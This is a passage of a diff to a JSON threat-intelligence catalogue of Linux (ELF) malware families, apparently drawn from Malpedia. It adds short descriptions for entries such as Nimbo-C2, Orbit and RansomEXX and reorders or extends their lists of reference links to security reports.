"https://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/", "https://blog.netlab.360.com/linux-ngioweb-v2-going-after-iot-devices-en/" ], "synonyms": [], @@ -5722,6 +5960,19 @@ "uuid": "a4ad242c-6fd0-4b1d-8d97-8f48150bf242", "value": "Ngioweb (ELF)" }, + { + "description": "According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 and Linux. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.nimbo_c2", + "https://github.com/itaymigdal/Nimbo-C2" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5dbdf2ea-a15b-4ad6-bf7a-a030998c66b4", + "value": "Nimbo-C2 (ELF)" + }, { "description": "Golang-based RAT that offers execution of shell commands and download+run capability. ", "meta": { @@ -5741,14 +5992,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.notrobin", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html", - "https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html", - "https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/", + "https://news.sophos.com/en-us/2020/05/21/asnarok2/", "https://blog.dcso.de/a-curious-case-of-cve-2019-19781-palware-remove_bds/", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://www.theregister.co.uk/2020/01/17/hackers_patch_citrix_vulnerability/", - "https://news.sophos.com/en-us/2020/05/21/asnarok2/" + "https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/", + "https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" ], "synonyms": [ "remove_bds" @@ -5759,7 +6010,7 @@ "value": "NOTROBIN" }, { - "description": "", + "description": "According to stormshield, Orbit is a two-stage malware that appeared in July 2022, discovered by Intezer lab. Acting as a stealer and backdoor on 64-bit Linux systems, it consists of an executable acting as a dropper and a dynamic library.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.orbit", @@ -5776,13 +6027,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari", - "https://twitter.com/ankit_anubhav/status/1019647993547550720", - "https://twitter.com/hrbrmstr/status/1019922651203227653", - "https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863", - "https://twitter.com/360Netlab/status/1019759516789821441", + "https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/", "https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html", - "https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/", - "https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/" + "https://twitter.com/ankit_anubhav/status/1019647993547550720", + "https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863", + "https://twitter.com/hrbrmstr/status/1019922651203227653", + "https://twitter.com/360Netlab/status/1019759516789821441", + "https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/" ], "synonyms": [], "type": [] @@ -5821,18 +6072,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla", - "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://twitter.com/juanandres_gs/status/944741575837528064", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180251/Penquins_Moonlit_Maze_PDF_eng.pdf", "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", - "https://lab52.io/blog/looking-for-penquins-in-the-wild/", - "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", "https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_PDF_eng.pdf", - "https://www.youtube.com/watch?v=JXsjRUxx47E", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://twitter.com/juanandres_gs/status/944741575837528064", + "https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf" + "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://lab52.io/blog/looking-for-penquins-in-the-wild/", + "https://www.youtube.com/watch?v=JXsjRUxx47E" ], "synonyms": [], "type": [] @@ -5847,16 +6099,19 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.perlbot", "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", "https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf", + "https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/", "https://twitter.com/Nocturnus/status/1308430959512092673", - "https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html", - "https://therecord.media/agents-raid-home-of-kansas-man-seeking-info-on-botnet-that-infected-dod-network/", - "https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/", "https://brianstadnicki.github.io/posts/malware-gitlab-perlbot/", + "https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/", "https://unit42.paloaltonetworks.com/los-zetas-from-eleethub-botnet/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://sysdig.com/blog/malware-analysis-shellbot-sysdig/", + "https://asec.ahnlab.com/en/54647/", "https://jask.com/wp-content/uploads/2019/02/Shellbot-Campaign_v2.pdf", - "https://asec.ahnlab.com/en/49769/" + "https://therecord.media/agents-raid-home-of-kansas-man-seeking-info-on-botnet-that-infected-dod-network/", + "https://sysdig.com/blog/malware-analysis-shellbot-sysdig/", + "https://unit42.paloaltonetworks.com/cve-2020-17496/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://asec.ahnlab.com/en/49769/", + "https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html" ], "synonyms": [ "DDoS Perl IrcBot", @@ -5885,7 +6140,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pingpull", - "https://unit42.paloaltonetworks.com/alloy-taurus/" + "https://unit42.paloaltonetworks.com/alloy-taurus/", + "https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/" ], "synonyms": [], "type": [] @@ -5898,7 +6154,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pink", - "https://blog.netlab.360.com/pink-en/" + "https://blog.netlab.360.com/pink-en/", + "https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/" ], "synonyms": [], "type": [] @@ -5911,14 +6168,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.plead", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", "https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", "https://blogs.jpcert.or.jp/en/2020/11/elf-plead.html", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" + "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf" ], "synonyms": [], "type": [] @@ -5959,13 +6216,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei", - "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://twitter.com/IntezerLabs/status/1338480158249013250", "https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html", "https://cujo.com/iot-malware-journals-prometei-linux/", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://twitter.com/IntezerLabs/status/1338480158249013250", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" ], "synonyms": [], "type": [] @@ -5978,8 +6235,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pro_ocean", - "https://seguranca-informatica.pt/new-cryptojacking-malware-called-pro-ocean-is-now-attacking-apache-oracle-and-redis-servers/", - "https://unit42.paloaltonetworks.com/pro-ocean-rocke-groups-new-cryptojacking-malware/" + "https://unit42.paloaltonetworks.com/pro-ocean-rocke-groups-new-cryptojacking-malware/", + "https://seguranca-informatica.pt/new-cryptojacking-malware-called-pro-ocean-is-now-attacking-apache-oracle-and-redis-servers/" ], "synonyms": [], "type": [] @@ -6002,22 +6259,22 @@ "value": "pupy (ELF)" }, { - "description": "The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:\r\n\r\n1. The ransom note was included solely as a text file, without any message on the screen—naturally, because it is a server and not an endpoint.\r\n\r\n2. Every victim is provided with a different, unique Bitcoin wallet—this could help the attackers avoid being traced.\r\n\r\n3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.", + "description": "The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:\r\n\r\n1. The ransom note was included solely as a text file, without any message on the screen\u2014naturally, because it is a server and not an endpoint.\r\n\r\n2. Every victim is provided with a different, unique Bitcoin wallet\u2014this could help the attackers avoid being traced.\r\n\r\n3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.qnapcrypt", + "https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/", + "https://www.qnap.com/en/security-advisory/QSA-20-02", + "https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/", + "https://www.bleepingcomputer.com/news/security/qnap-warns-of-ech0raix-ransomware-attacks-roon-server-zero-day/", + "https://blog.netlab.360.com/qnap-nas-users-make-sure-you-check-your-system/", "https://www.intezer.com/blog-seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/", "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://www.anomali.com/blog/the-ech0raix-ransomware", - "https://blog.netlab.360.com/qnap-nas-users-make-sure-you-check-your-system/", - "https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://www.bleepingcomputer.com/news/security/qnap-warns-of-ech0raix-ransomware-attacks-roon-server-zero-day/", - "https://www.qnap.com/en/security-advisory/QSA-20-02", "https://www.ibm.com/downloads/cas/Z81AVOY7", - "https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/", "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf", - "https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/" + "https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" ], "synonyms": [ "eCh0raix" @@ -6032,11 +6289,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.qsnatch", - "https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html", - "https://www.kyberturvallisuuskeskus.fi/en/news/qsnatch-malware-designed-qnap-nas-devices", - "https://us-cert.cisa.gov/ncas/alerts/aa20-209a", - "https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf", "https://bin.re/blog/the-dga-of-qsnatch/", + "https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa20-209a", + "https://www.kyberturvallisuuskeskus.fi/en/news/qsnatch-malware-designed-qnap-nas-devices", + "https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html", "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf" ], "synonyms": [], @@ -6077,9 +6334,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ragnarlocker", + "https://twitter.com/malwrhunterteam/status/1475568201673105409", "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://twitter.com/malwrhunterteam/status/1475568201673105409" + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf" ], "synonyms": [], "type": [] @@ -6092,8 +6349,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.rakos", - "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/16/22", - "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/" + "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/", + "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/16/22" ], "synonyms": [], "type": [] @@ -6102,28 +6359,29 @@ "value": "Rakos" }, { - "description": "", + "description": "According to SentineOne, RansomEXX (aka Defray, Defray777), a multi-pronged extortion threat, has been observed in the wild since late 2020. RansomEXX is associated with attacks against the Texas Department of Transportation, Groupe Atlantic, and several other large enterprises. There are Windows and Linux variants of this malware family, and they are known for their limited and exclusive targeting.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ransomexx", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.ctir.gov.br/arquivos/alertas/2020/alerta_2020_03_ataques_de_ransomware.pdf", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195", - "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", - "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://www.youtube.com/watch?v=qxPXxWMI2i4", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf" + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/", + "https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.sentinelone.com/anthology/ransomexx/", + "https://www.ctir.gov.br/arquivos/alertas/2020/alerta_2020_03_ataques_de_ransomware.pdf", + "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", + "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [ "Defray777" @@ -6139,8 +6397,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.rapper_bot", "https://socradar.io/linux-malware-rapperbot-brute-forcing-ssh-servers/", - "https://www.fortinet.com/blog/threat-research/new-rapperbot-campaign-ddos-attacks", - "https://www.fortinet.com/blog/threat-research/rapperbot-malware-discovery" + "https://www.fortinet.com/blog/threat-research/rapperbot-malware-discovery", + "https://www.fortinet.com/blog/threat-research/new-rapperbot-campaign-ddos-attacks" ], "synonyms": [], "type": [] @@ -6205,9 +6463,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.red_alert", - "https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", "https://www.bleepingcomputer.com/news/security/new-redalert-ransomware-targets-windows-linux-vmware-esxi-servers/", - "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html" + "https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/" ], "synonyms": [ "N13V" @@ -6218,19 +6476,20 @@ "value": "RedAlert Ransomware" }, { - "description": "A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan’s configuration data is stored in a file encrypted with XOR algorithm", + "description": "A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan\u2019s configuration data is stored in a file encrypted with XOR algorithm", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe", - "https://vms.drweb.com/virus/?i=7754026&lng=en", + "https://www.intezer.com/blog/malware-analysis/elf-malware-analysis-101-part-3-advanced-analysis/", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt", + "https://asec.ahnlab.com/en/55229/", "https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/", "https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/", - "https://intezer.com/blog-linux-rekoobe-operating-with-new-undetected-malware-samples/", "https://sansec.io/research/rekoobe-fishpig-magento", - "https://www.intezer.com/blog/malware-analysis/elf-malware-analysis-101-part-3-advanced-analysis/", - "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://intezer.com/blog-linux-rekoobe-operating-with-new-undetected-malware-samples/", "https://twitter.com/billyleonard/status/1458531997576572929", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt" + "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://vms.drweb.com/virus/?i=7754026&lng=en" ], "synonyms": [], "type": [] @@ -6243,9 +6502,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.reptile", + "https://asec.ahnlab.com/en/55785/", "https://github.com/f0rb1dd3n/Reptile", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf" + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf" ], "synonyms": [], "type": [] @@ -6258,58 +6518,58 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.revil", - "https://www.youtube.com/watch?v=mDUMpYAOMOo", - "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", - "https://otx.alienvault.com/pulse/60da2c80aa5400db8f1561d5", - "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", - "https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil", "https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/", - "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", - "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://malienist.medium.com/revix-linux-ransomware-d736956150d0", - "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", - "https://home.treasury.gov/news/press-releases/jy0471", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", - "https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ", - "https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf", - "https://ke-la.com/will-the-revils-story-finally-be-over/", - "https://angle.ankura.com/post/102hcny/revix-linux-ransomware", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version", - "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", - "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", - "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", - "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", - "https://analyst1.com/file-assets/History-of-REvil.pdf", - "https://www.flashpoint-intel.com/blog/revil-disappears-again/", - "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", - "https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/", - "https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin", + "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", "https://threatpost.com/ransomware-revil-sites-disappears/167745/", - "https://www.bbc.com/news/technology-59297187", - "https://github.com/f0wl/REconfig-linux", - "https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", - "https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", - "https://twitter.com/IntezerLabs/status/1452980772953071619", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://www.youtube.com/watch?v=ptbNMlWxYnE", - "https://twitter.com/VK_Intel/status/1409601311092490248?s=20", - "https://twitter.com/VK_Intel/status/1409601311092490248", + "https://home.treasury.gov/news/press-releases/jy0471", + "https://otx.alienvault.com/pulse/60da2c80aa5400db8f1561d5", "https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/", - "https://threatpost.com/linux-variant-ransomware-vmwares-nas/167511/", - "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/", + "https://twitter.com/IntezerLabs/status/1452980772953071619", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil", + "https://angle.ankura.com/post/102hcny/revix-linux-ransomware", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://ke-la.com/will-the-revils-story-finally-be-over/", + "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", + "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/", + "https://malienist.medium.com/revix-linux-ransomware-d736956150d0", + "https://twitter.com/VK_Intel/status/1409601311092490248", + "https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil", + "https://www.bbc.com/news/technology-59297187", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", + "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", + "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", + "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", + "https://www.youtube.com/watch?v=mDUMpYAOMOo", + "https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/", "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/", + 